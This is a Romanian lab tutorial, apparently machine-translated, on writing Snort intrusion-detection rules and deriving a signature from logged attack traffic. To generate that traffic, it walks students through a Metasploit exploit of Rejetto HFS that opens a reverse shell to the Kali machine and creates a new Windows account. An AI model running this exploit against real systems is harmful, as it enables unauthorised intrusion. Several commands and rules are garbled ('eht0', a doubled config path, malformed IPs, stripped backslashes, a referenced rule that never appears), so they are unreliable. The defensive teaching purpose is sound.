În această serie de exerciții de laborator, vom demonstra diverse tehnici de scriere a regulilor Snort, de la sintaxa regulilor de bază până la scrierea regulilor care vizează detectarea unor tipuri specifice de atacuri. De asemenea, vom examina câteva abordări de bază pentru analiza și optimizarea performanței regulilor.

Exercițiu 1: Snort ca IDS

Snort este cel mai bine cunoscut ca IDS. De pe site-ul snort.org:

„Snort® este un sistem open source de prevenire și detectare a intruziunilor în rețea (IDS/IPS) dezvoltat de Sourcefire. Combinând beneficiile unei inspecții bazate pe semnături, protocoale și anomalii, Snort este cea mai răspândită tehnologie IDS/IPS la nivel mondial. Cu milioane de descărcări și aproape 400.000 de utilizatori înregistrați, Snort a devenit standardul de facto pentru IPS.”

De asemenea, trebuie menționat faptul că Sourcefire a fost achiziționat de Cisco la începutul lunii octombrie 2013.

Snort poate funcționa, în esență, în trei moduri diferite: modul IDS, modul de logare și modul sniffer. Vom folosi Snort în această parte a laboratorului în modul IDS, apoi îl vom folosi mai târziu ca logger de pachete. Vom folosi Ubuntu Server VM, Windows Server 2012 R2 VM și Kali Linux VM pentru acest laborator.

Aveți Snort versiunea 2.9.8 instalată pe Ubuntu Server VM. Lansați VM Ubuntu Server, conectați-vă cu acreditările furnizate la începutul acestui ghid și deschideți un shell de terminal făcând dublu clic pe scurtătura de pe Desktop. (Alternativ, puteți apăsa Ctrl+Alt+T pentru a deschide un nou shell.)

Pentru a verifica versiunea Snort, tastați snort -V și apăsați Enter.

În continuare, trebuie să configurăm valoarea noastră HOME_NET: rețeaua pe care o vom proteja. Mai întâi, introduceți ifconfig în shell-ul terminalului pentru a vedea configurația rețelei. Rețineți adresa IP și valoarea interfeței de rețea. Vedeți imaginea de mai jos (IP-ul dvs. poate fi diferit).

În continuare, tastați următoarea comandă pentru a deschide fișierul de configurare snort în editorul de text gedit:

sudo gedit /etc/snort/snort.conf

Introduceți parola pentru Ubuntu Server. Când se deschide fișierul snort.conf, derulați în jos până când găsiți setarea ipvar HOME_NET. Veți dori să schimbați adresa IP pentru a fi sub-rețeaua dvs. reală de clasă C. În prezent, ar trebui să fie 192.168.132.0/24. Veți schimba pur și simplu partea cu adresa IP pentru a se potrivi cu IP-ul VM Ubuntu Server, asigurându-vă că lăsați „.0/24″ la sfârșit.

Select Save din bara de sus și închideți fișierul. În acest moment, Snort este gata să ruleze. Cu excepția faptului că nu are nicio regulă încărcată. Pentru a verifica, executați următoarea comandă:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Aici îi spunem lui Snort să testeze (-T) fișierul de configurare (-c indică locația acestuia) pe interfața eth0 (introduceți valoarea interfeței dvs. dacă este diferită). Acest lucru va produce o mulțime de ieșiri. Derulați în sus până când vedeți „0 Snort rules read” (vezi imaginea de mai jos).

Să parcurgem sintaxa acestei reguli:

Rule headers

  • alert – Rule action. Snort va genera o alertă atunci când este îndeplinită condiția stabilită.
  • any – IP sursă. Snort se va uita la toate sursele.
  • any – Port sursă. Snort se va uita la toate porturile.
  • -> – Direcție. De la sursă la destinație.
  • $HOME_NET – IP-ul de destinație. Utilizăm valoarea HOME_NET din fișierul snort.conf.
  • any – Port de destinație. Snort se va uita la toate porturile din rețeaua protejată.

Opțiuni regulă:

  • msg: „ICMP test” – Snort va include acest mesaj cu alerta.
  • sid:1000001 – ID-ul regulii Snort. Rețineți că toate numerele mai mici de 1.000.000 sunt rezervate; de aceea începem cu 1.000.001. (Puteți folosi orice număr, atâta timp cât este mai mare de 1.000.000.)
  • rev:1 – Numărul de revizuire. Această opțiune permite o întreținere mai ușoară a regulilor.
  • classtype:icmp-event – Categorizează regula ca fiind un „icmp-event”, una dintre categoriile Snort predefinite. Această opțiune ajută la organizarea regulilor.

Clic pe Save (Salvare) și închideți fișierul. Acum să rulăm din nou comanda de testare a configurației Snort:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Dacă derulați în sus, ar trebui să vedeți că a fost încărcată o regulă.

Acum, să pornim Snort în modul IDS și să-i spunem să afișeze alertele pe consolă:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0

Din nou, îi indicăm lui Snort fișierul de configurare pe care ar trebui să-l folosească (-c) și specificăm interfața (-i eth0). Opțiunea de consolă -A imprimă alertele pe ieșirea standard, iar -q este pentru modul „quiet” (nu afișează bannerul și raportul de stare). Nu ar trebui să vedeți nicio ieșire atunci când introduceți comanda, deoarece Snort nu a detectat nicio activitate specificată în regula pe care am scris-o.

Să generăm niște activitate și să vedem dacă regula noastră funcționează.

Lansați-vă mașina virtuală Kali Linux. Este posibil să fie nevoie să introduceți startx după introducerea acreditărilor pentru a ajunge la GUI. Odată ajuns acolo, deschideți un shell terminal făcând clic pe pictograma din bara de meniu de sus.

Acum începeți să faceți ping serverului dvs. Ubuntu cu următoarea comandă (utilizați IP-ul serverului dvs. Ubuntu în loc de .x.x):

ping 192.168.x.x.x

Lasă-l să ruleze timp de câteva secunde și apăsați Ctrl+C pentru a opri și a reveni la prompt.

Acum reveniți la serverul dvs. Ubuntu care rulează Snort IDS. Ar trebui să vedeți alerte generate pentru fiecare mesaj ICMP Echo request și Echo reply, cu textul mesajului pe care l-am specificat în opțiunea msg:

Puteți vedea, de asemenea, adresa IP sursă a gazdei responsabile pentru activitatea generatoare de alerte. În exemplul de mai sus, este 192.168.132.133; a dvs. poate fi diferită (dar va fi IP-ul mașinii dvs. virtuale Kali Linux). Regula noastră de test funcționează! Apăsați Ctrl+C pentru a opri Snort și a reveni la prompt.

Acum să scriem o altă regulă, de data aceasta, un pic mai specifică. Deschideți fișierul nostru local.rules într-un editor de text:

sudo gedit /etc/snort/rules/local.rules

În primul rând, haideți să comentăm prima noastră regulă. Puneți un semn de lire sterline (#) în fața ei. Pe o nouă linie, scrieți următoarea regulă (folosind IP-ul dumneavoastră Kali Linux pentru x.x):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: „Încercare de conexiune FTP”; sid:1000002; rev:1;)

Aici am schimbat protocolul în TCP, am folosit un IP sursă specific, am setat numărul portului de destinație la 21 (portul implicit pentru conexiunile FTP) și am schimbat textul mesajului de alertă. Salvați și închideți fișierul. Acum haideți să rulăm din nou Snort în modul IDS, dar de data aceasta vom adăuga încă o opțiune, după cum urmează:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Îi spunem lui Snort să înregistreze alertele generate în format ASCII, în loc de formatul implicit pcap. Odată ce Snort rulează (din nou, nu veți vedea nicio ieșire imediat), mergeți la Kali Linux VM și introduceți următoarea comandă într-un shell terminal (folosind adresa IP a serverului Ubuntu):

ftp 192.168.x.x

Vă înapoi la serverul Ubuntu. Ar trebui să vedeți că a fost generată o alertă.

Pentru a vă asigura că regula nu generează niciun fals pozitiv, puteți deschide un alt terminal shell pe Ubuntu Server VM și puteți încerca să vă conectați la același server FTP. Nu ar trebui să vedeți nicio alertă nouă. Apăsați Ctrl+C pentru a opri Snort.

Acum rulați următoarea comandă pentru a face listarea directorului de jurnal Snort:

ls /var/log/snort

Ar trebui să vedeți ceva asemănător cu imaginea următoare:

Filierul snort.log.* (este posibil să aveți mai mult de unul dacă ați generat mai devreme mai multe activități generatoare de alerte) este fișierul jurnal .pcap. Acesta nu poate fi citit cu un editor de text. Adresa IP pe care o vedeți (a dumneavoastră va fi diferită de cea din imagine) este IP-ul sursă pentru alerta pe care tocmai am văzut-o pentru regula noastră FTP. Este un director. Să vedem ce se află înăuntru:

sudo ls /var/log/snort/192.168.x.x

Vezi că există un fișier acolo numit după protocolul (TCP) și numerele de port implicate în activitate. Putem citi acest fișier cu un editor de text sau pur și simplu putem folosi comanda cat:

sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

Obținem aceleași informații pe care le-am văzut în ieșirea din consolă, cu câteva detalii suplimentare.

Cum rămâne cu fișierele .pcap? Putem folosi Wireshark, un popular analizor de protocol de rețea, pentru a le examina. Introduceți sudo wireshark pentru a porni programul. Faceți clic pe OK pentru a confirma mesajele de eroare/avertizare care apar. Odată ajunși în fereastra principală Wireshark, mergeți la File → Open.

Browsează în directorul /var/log/snort, selectează fișierul snort.log.* și fă clic pe Open.

Mai multe informații aici! Faceți clic pentru a extinde oricare dintre elementele din panoul din mijloc. Acum ne putem uita la conținutul fiecărui pachet.

Închideți Wireshark. Îl vom folosi foarte mult pe parcursul laboratoarelor.

Pentru următoarea regulă, să scriem una care să caute un anumit conținut, pe lângă protocoale, IP-uri și numere de port. Mai întâi, trebuie să generăm o activitate care să ne furnizeze conținutul necesar pentru o regulă.

Lansați-vă VM-ul Windows Server 2012 R2 și conectați-vă cu acreditările furnizate la începutul acestui ghid. Această VM are un server FTP care rulează pe ea. În primul rând, aflați adresa IP a VM-ului Windows Server 2102 R2. Puteți face acest lucru deschizând promptul de comandă de la comanda rapidă de pe desktop și introducând ipconfig.

Rețineți valoarea „IPv4 Address” (adresa dvs. poate fi diferită de cea din imagine). Acum, întoarceți-vă la Ubuntu Server VM și introduceți ftp 192.168.x.x (folosind adresa IP pe care tocmai ați verificat-o). Când vi se cere numele și parola, apăsați Enter. Examinați ieșirea.

După cum putem vedea, introducerea unor credențiale invalide are ca rezultat un mesaj care spune „Login sau parolă incorectă”. Acum avem suficiente informații pentru a scrie regula noastră. Introduceți quit pentru a ieși din FTP și a reveni la prompt. Deschideți din nou fișierul nostru local.rules:

sudo gedit /etc/snort/rules/local.rules

Din moment ce vom lucra mult cu acest fișier, puteți să-l lăsați deschis și să porniți un nou terminal shell pentru a introduce comenzi.

Adaugați următoarea regulă pe noua linie:

alert tcp $HOME_NET 21 -> any any (msg: „FTP failed login”; content: „Login or password incorrect”; sid:1000003; rev:1;)

Observați că acum am setat valoarea HOME_NET ca IP sursă, deoarece vom căuta răspunsurile de ieșire ale serverului FTP. Salvați fișierul. Acum haideți să testăm regula. Porniți Snort în modul IDS:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0

Acum mergeți la VM Kali Linux și încercați să vă conectați la serverul FTP de pe Windows Server 2012 R2 (ftp 192.168.x.x), introducând orice valori pentru Nume și Parolă. Introduceți quit pentru a reveni la prompt. Întoarceți-vă la VM Ubuntu Server. Ar trebui să vedeți mai multe alerte generate de ambele reguli active pe care le-am încărcat în Snort. Apăsați CTRL+C pentru a opri Snort.

Exercițiu 2: Snort ca logger de pachete

Cu peisajul și vectorii de atac care se schimbă rapid în prezent, s-ar putea să nu știm ce ar trebui să căutăm până când nu am văzut atacul. Apoi, poate că, după ce examinăm acel trafic, am putea crea o regulă pentru acel „nou” atac specific. Acesta este exact modul în care sunt create regulile Snort standard disponibile public. Vom rula acum Snort în modul de logare și vom vedea ce suntem capabili să identificăm traficul pe baza atacurilor pe care le facem.

În acest exercițiu, vom simula un atac asupra serverului nostru Windows în timp ce vom rula Snort în modul de logare a pachetelor. Apoi vom examina pachetele înregistrate pentru a vedea dacă putem identifica o semnătură de atac.

Asigurați-vă că toate cele trei VM-uri (Ubuntu Server, Windows Server și Kali Linux) rulează. Pe VM Kali Linux, introduceți următoarele într-un shell terminal:

msfconsole

Acest lucru va lansa Metasploit Framework, o platformă populară de testare a penetrării. Va dura câteva secunde pentru a se încărca. Ignorați eroarea de conectare la baza de date. Așteptați până când vedeți promptul msf>. Odată ajuns acolo, introduceți următoarea serie de comenzi:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (adresa IP a mașinii virtuale Kali Linux)

set RHOST 192.168.x.x.x (adresa IP a mașinii virtuale Windows Server 2012 R2)

set RPORT 8081

Aici am configurat un exploit împotriva unei versiuni vulnerabile a serverului de fișiere HTTP Rejetto HFS care rulează pe mașina noastră virtuală Windows Server 2012 R2.

Înainte de a rula exploit-ul, trebuie să pornim Snort în modul de logare a pachetelor. Mergeți la VM Ubuntu Server și introduceți următoarea comandă într-un shell terminal:

sudo snort -dev -q -l /var/log/snort -i eth0

Nu veți vedea nicio ieșire. Acum întoarceți-vă la exploit-ul msf pe care l-ați configurat pe Kali Linux VM și introduceți exploit. Dacă exploit-ul a avut succes, ar trebui să vă treziți cu un shell de comandă:

Acum că avem acces la sistem, să facem următoarele:

Creăm un nou cont de utilizator:

net user accountname P@ssword12 /ADD

Schimbăm directoarele în c:

cd

Creăm un nou director care este numele dvs.

mkdir yourname

Acum apăsați Ctrl+C și răspundeți y pentru „yes” pentru a închide accesul la shell-ul de comandă.

În continuare, mergeți la VM Ubuntu Server și apăsați Ctrl+C pentru a opri Snort. Introduceți sudo wireshark în shell-ul terminalului dumneavoastră. În Wireshark, mergeți la File → Open (Fișier → Deschidere) și navigați la /var/log/snort. În acest moment, vom avea acolo mai multe fișiere snort.log.*. Selectați-l pe cel care a fost modificat cel mai recent și faceți clic pe Open.

Ar trebui să vedeți destul de multe pachete capturate.

Trebuie să le găsim pe cele care au legătură cu atacul nostru simulat. În Wireshark, selectați Edit → Find Packet. În fereastra de dialog rezultată, selectați butonul radio String. Apoi, selectați Packet Bytes pentru criteriul Search In (Căutare în). Apoi, pentru șirul de căutare, introduceți numele de utilizator pe care l-ați creat.

După ce ați configurat dialogul de căutare, faceți clic pe butonul Find. Căutarea ar trebui să găsească pachetul care conține șirul pe care l-ați căutat. Mergeți mai departe și selectați acel pachet. Acesta va fi cel de culoare portocaliu închis. Faceți clic dreapta pe el și selectați Follow TCP Stream.

Această acțiune ar trebui să vă arate toate comenzile care au fost introduse în acea sesiune TCP. Aceasta va include crearea contului, precum și celelalte acțiuni.

După ce ați verificat rezultatele, mergeți mai departe și închideți fereastra de flux. Acest lucru ar trebui să vă ducă înapoi la pachetul pe care l-ați selectat la început. Acum apăsați săgeata în sus până când vedeți că partea ASCII a descărcării hexagonale arată „C:UsersAdministratorDesktophfs2.3b>” în panoul de jos. Vedeți mai jos.

Rețineți porțiunea selectată în graficul de mai sus. Vom folosi acest conținut pentru a crea o alertă care ne va anunța atunci când un shell de comandă este trimis către o altă gazdă ca urmare a exploit-ului Rejetto HFS. Minimizați fereastra Wireshark (nu o închideți încă).

Exercițiu 3: Crearea unei reguli personalizate pornind de la traficul înregistrat

Vrem să vedem că apare o alertă de fiecare dată când Snort vede „C:UsersAdministratorAdministratorDesktophfs2.3b>”. Mergeți la fișierul nostru local.rules (dacă l-ați închis, deschideți-l din nou ca root, folosind aceeași comandă ca mai devreme) și adăugați următoarea regulă pe o linie nouă (observați că scăpăm toate backslash-urile pentru a ne asigura că sunt incluse în conținut):

alert tcp $HOME_NET any any -> any any any (msg: „Command Shell Access”; content: „C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Salvați fișierul. Rulați din nou Snort în modul IDS:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eth0

Acum întoarceți-vă la VM Kali Linux. Ar trebui să fiți în continuare la promptul pentru exploit-ul rejetto. Trebuie doar să introduceți exploit pentru a-l rula din nou. Așteptați până când obțineți acces la command shell și reveniți la terminalul Snort pe Ubuntu Server. Ar trebui să vedeți că au fost generate alerte, pe baza noii noastre reguli:

Apăsați Ctrl+C pe terminalul Kali Linux și introduceți y pentru a ieși din shell-ul de comandă. Apoi, apăsați Ctrl+C pe terminalul Ubuntu Server pentru a opri Snort.

În acest caz, avem un conținut lizibil pentru om care să fie utilizat în regula noastră. Dar acest lucru nu este întotdeauna cazul.

Să modificăm regula noastră astfel încât să caute conținut care este reprezentat în format hexazecimal. Mai întâi, în fișierul nostru local.rules, copiați ultima noastră regulă și lipiți-o mai jos în noua linie. Acum comentați vechea regulă și modificați valoarea „rev” pentru noua regulă la „2”. Vedeți mai jos.

Aflorați din nou fereastra Wireshark cu captura noastră, cu aceeași porțiune de sarcină utilă selectată. Din păcate, nu puteți copia valorile hexagonale direct din fereastra principală a lui Wireshark, dar există o soluție ușoară care va funcționa pentru noi. Cu conținutul necesar selectat, faceți clic dreapta fie pe pachetul corespunzător (evidențiat) din panoul de sus, fie pe intrarea „Data:” evidențiată din panoul din mijloc și selectați Copy → Bytes → Offset Hex. Vedeți mai jos.

Acum, în fișierul nostru local.rules, selectați argumentul de conținut (tot ceea ce se află între ghilimele) în noua noastră regulă, faceți clic dreapta și faceți clic pe Paste. Acum eliminați cu atenție toate spațiile suplimentare, pauzele de linie și așa mai departe, lăsând doar valorile hexagonale necesare. Apoi, puneți simbolurile pipe (|) pe ambele părți. Regula dvs. finalizată ar trebui să arate ca în imaginea de mai jos.

Salvați fișierul. Porniți Snort în modul IDS. Apoi, mergeți la Kali Linux VM și rulați din nou exploit-ul. Așteptați până când obțineți shell-ul de comandă și uitați-vă la ieșirea Snort. Ar trebui să vedeți alertele generate.

De data aceasta vedem două alerte în loc de patru, deoarece am inclus reprezentarea hexagonală a simbolului „>” în conținut, făcând regula mai specifică.

Presați Ctrl+C pentru a opri Snort. Apoi, pe Kali Linux VM, apăsați Ctrl+C și introduceți y pentru a ieși din shell-ul de comandă. Tastați exit pentru a reveni la promptul obișnuit.

Aceasta este doar o parte din elementele de bază ale scrierii regulilor Snort. Mai târziu ne vom uita la unele tehnici mai avansate.

Lasă un răspuns

Adresa ta de email nu va fi publicată.